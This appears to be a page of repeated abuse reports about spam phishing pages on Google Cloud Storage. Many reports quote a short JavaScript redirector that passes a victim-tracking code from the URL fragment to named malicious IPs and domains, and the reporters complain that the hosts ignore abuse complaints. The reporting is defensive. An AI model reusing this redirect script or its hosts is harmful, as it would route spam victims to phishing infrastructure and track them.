https://storage.googleapis.com/adb23topofferwww/hrefly.html
Content:
<script>
var tarcking_para ...
show morehttps://storage.googleapis.com/adb23topofferwww/hrefly.html
Content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.129.239";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/?'+tarcking_param;
}
</script>
Reloads to malicious IP 185.80.129.23:
https://www.virustotal.com/gui/ip-address/185.80.129.239
Google does not take down the reported content
Sending complaints to [email protected] has neither any effect.
So RIPE, time to take action against VPSNET-AS
org-name: UAB ESNET
country: LT
org-type: LIR
address: Zuvedru 36
address: LT10103
address: Vilnius
address: LITHUANIA
show less
https://storage.googleapis.com/mabololoxy/besales24.html
Google does not take action against this ...
show morehttps://storage.googleapis.com/mabololoxy/besales24.html
Google does not take action against this malicious content.
has the following content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.129.110";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/?'+tarcking_param;
}
</script>
Reloads to 185.80.129.110
Malicious IP:
https://www.virustotal.com/gui/ip-address/185.80.129.110
https://urlscan.io/search/#185.80.129.110
[email protected] does not take action to remove the content on this IP
@RIPE: it is time to remove all IP-ranges from VPSNET.LT. Reporting abuse has no effect.
show less
https://storage.googleapis.com/mabololoxy/besales24.html
Google does not take action against this ...
show morehttps://storage.googleapis.com/mabololoxy/besales24.html
Google does not take action against this malicious content.
has the following content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.129.110";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/?'+tarcking_param;
}
</script>
Reloads to 185.80.129.110
Malicious IP:
https://www.virustotal.com/gui/ip-address/185.80.129.110
https://urlscan.io/search/#185.80.129.110
[email protected] does not take action to remove the content on this IP
@RIPE: it is time to remove all IP-ranges from VPSNET.LT. Reporting abuse has no effect.
show less
https://storage.googleapis.com/ibhsalestopw/hreeflink.html
Content:
<script>
var tarcking_par ...
show morehttps://storage.googleapis.com/ibhsalestopw/hreeflink.html
Content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.34.52.226";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/?'+tarcking_param;
}
</script>
Script is used to track the success of the spam and to redirect victims to phising IP.
Malicious:
See https://www.virustotal.com/gui/ip-address/185.34.52.226
https://urlscan.io/search/#185.34.52.226
If you report this IP to [email protected] nothing happens. So, RIPE, time to remove all IP ranges for this malicious provider…
Complaints to google cloud using abuse webform does not remove this malicious content, nor does it stop the malicious users…
show less
https://storage.googleapis.com/mabololoxy/besales24.html
Google does not take action against this ...
show morehttps://storage.googleapis.com/mabololoxy/besales24.html
Google does not take action against this malicious content.
has the following content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.129.110";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/?'+tarcking_param;
}
</script>
Reloads to 185.80.129.110
Malicious IP:
https://www.virustotal.com/gui/ip-address/185.80.129.110
https://urlscan.io/search/#185.80.129.110
[email protected] does not take action to remove the content on this IP
show less
https://storage.googleapis.com/fwdamoz/wnftcit.html
Google does not take this content down...
...
show morehttps://storage.googleapis.com/fwdamoz/wnftcit.html
Google does not take this content down...
html has this content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This script is used to redirect victims to another IP with the passing thru of some parameters used to track the identity of the victim and to reload to another IP…
This IP is 185.80.128.14
This IP is known as malicious, see
https://www.virustotal.com/gui/ip-address/185.80.128.14
https://urlscan.io/search/#185.80.128.14
[email protected] does not take action to remove 185.80.128.14…
show less
https://storage.googleapis.com/adb23topofferwww/hrefly.html
Content:
<script>
var tarcking_para ...
show morehttps://storage.googleapis.com/adb23topofferwww/hrefly.html
Content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.129.239";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/?'+tarcking_param;
}
</script>
Reloads to malicious IP 185.80.129.23:
https://www.virustotal.com/gui/ip-address/185.80.129.239
show less
Reload from https://storage.googleapis.com/prjet/cie.html
source:
<meta http-equiv="refresh" con ...
show moreReload from https://storage.googleapis.com/prjet/cie.html
source:
<meta http-equiv="refresh" content="3; url=">
<script>
document.location.href = 'http://unassigned.172-81-60-166.spryt.net/'+window.location.href.split('#')[1];
</script>
show less
https://storage.googleapis.com/adb23topofferwww/hrefly.html
Content:
<script>
var tarcking_pa ...
show morehttps://storage.googleapis.com/adb23topofferwww/hrefly.html
Content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.129.239";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/?'+tarcking_param;
}
</script>
Reloads to:
185.80.129.239
Malicious, see
https://www.virustotal.com/gui/ip-address/185.80.129.239
https://urlscan.io/search/#185.80.129.239
show less
https://storage.googleapis.com/kogfuytuynojugha951357/jtyrdkjuykuytg.html
Content:
<script>
var ...
show morehttps://storage.googleapis.com/kogfuytuynojugha951357/jtyrdkjuykuytg.html
Content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "buileai.info";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
Victims are tracked by codes and redirected to buileai.info
Malicious domain,
See
https://www.virustotal.com/gui/domain/buileai.info
show less
https://storage.googleapis.com/mabololoxy/besales24.html
has the following content:
<script>
va ...
show morehttps://storage.googleapis.com/mabololoxy/besales24.html
has the following content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.129.110";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/?'+tarcking_param;
}
</script>
Reloads to 185.80.129.110
Malicious IP:
https://www.virustotal.com/gui/ip-address/185.80.129.110
https://urlscan.io/search/#185.80.129.110
show less
https://storage.googleapis.com/fwdamoz/wnftcit.html
<script>
var tarcking_param = window.locatio ...
show morehttps://storage.googleapis.com/fwdamoz/wnftcit.html
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
Redirects victims to a malicious IP, which based on the tracking parameters will redirect victims to other websites like
plastersticker.com
show less
https://storage.googleapis.com/fwdamoz/wnftcit.html
<script>
var tarcking_param = window.locatio ...
show morehttps://storage.googleapis.com/fwdamoz/wnftcit.html
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
Malicious script
show less
https://storage.googleapis.com/fwdamoz/wnftcit.html
Google does not take this content down...
...
show morehttps://storage.googleapis.com/fwdamoz/wnftcit.html
Google does not take this content down...
html has this content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This script is used to redirect victims to another website with the passing thru of some parameters used to track the identity of the victim and to reload to another domain…
This first domain is buileai.info.
This domain is known as malicious, see
https://www.virustotal.com/gui/ip-address/185.80.128.14
https://urlscan.io/search/#185.80.128.14
[email protected] does not take action to remove 185.80.128.14…
show less
https://storage.googleapis.com/fwdamoz/wnftcit.html
Google does not take this content down...
...
show morehttps://storage.googleapis.com/fwdamoz/wnftcit.html
Google does not take this content down...
html has this content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "buileai.info";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'https://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This script is used to redirect victims to another website with the passing thru of some parameters used to track the identity of the victim and to reload to another domain…
This first domain is buileai.info.
This domain is known as malicious, see
https://www.virustotal.com/gui/domain/buileai.info
https://urlscan.io/search/#buileai.info
[email protected] does not take action to remove buileai.info…
show less
https://storage.googleapis.com/qd6s45d6sd456q/kdsjhfdsjkhfdskjhfdsjkf.html
This html has the foll ...
show morehttps://storage.googleapis.com/qd6s45d6sd456q/kdsjhfdsjkhfdskjhfdsjkf.html
This html has the following content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
Google does not remove this content!
This script transfers some codes used to track the origin of the spam mail to the ip address 185.80.128.14.
This ip is involved in malicious activity:
See
https://www.virustotal.com/gui/ip-address/185.80.128.14
UAB Esnet does not remove this content, even after multiple complaints
show less
https://storage.googleapis.com/fwdamoz/wnftcit.html
Google does not take this content down...
...
show morehttps://storage.googleapis.com/fwdamoz/wnftcit.html
Google does not take this content down...
html has this content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "buileai.info";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'https://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This script is used to redirect victims to another website with the passing thru of some parameters used to track the identity of the victim and to reload to another domain…
This first domain is buileai.info.
This domain is known as malicious, see
https://www.virustotal.com/gui/domain/buileai.info
https://urlscan.io/search/#buileai.info
[email protected] does not take action to remove buileai.info…
show less
elusivesnads.com
Malicious, see
https://www.virustotal.com/gui/domain/elusivesnads.com
https:// ...
show moreelusivesnads.com
Malicious, see
https://www.virustotal.com/gui/domain/elusivesnads.com
https://urlscan.io/search/#elusivesnads.com
show less
https://storage.googleapis.com/mabololoxy/besales24.html
has the following content:
<script>
va ...
show morehttps://storage.googleapis.com/mabololoxy/besales24.html
has the following content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.129.110";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/?'+tarcking_param;
}
</script>
Reloads to 185.80.129.110
Malicious IP:
https://www.virustotal.com/gui/ip-address/185.80.129.110
https://urlscan.io/search/#185.80.129.110
show less
https://storage.googleapis.com/qd6s45d6sd456q/kdsjhfdsjkhfdskjhfdsjkf.html
This html has the foll ...
show morehttps://storage.googleapis.com/qd6s45d6sd456q/kdsjhfdsjkhfdskjhfdsjkf.html
This html has the following content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
Google does not remove this content!
This script transfers some codes used to track the origin of the spam mail to the ip address 185.80.128.14.
This ip is involved in malicious activity:
See
https://www.virustotal.com/gui/ip-address/185.80.128.14
show less
Email Spam
By clicking “Accept all”, you agree to the storing of cookies on your device to remember preferences and
analyze site usage.
Read more
- Required to log into your AbuseIPDB account, and store these cookie preferences.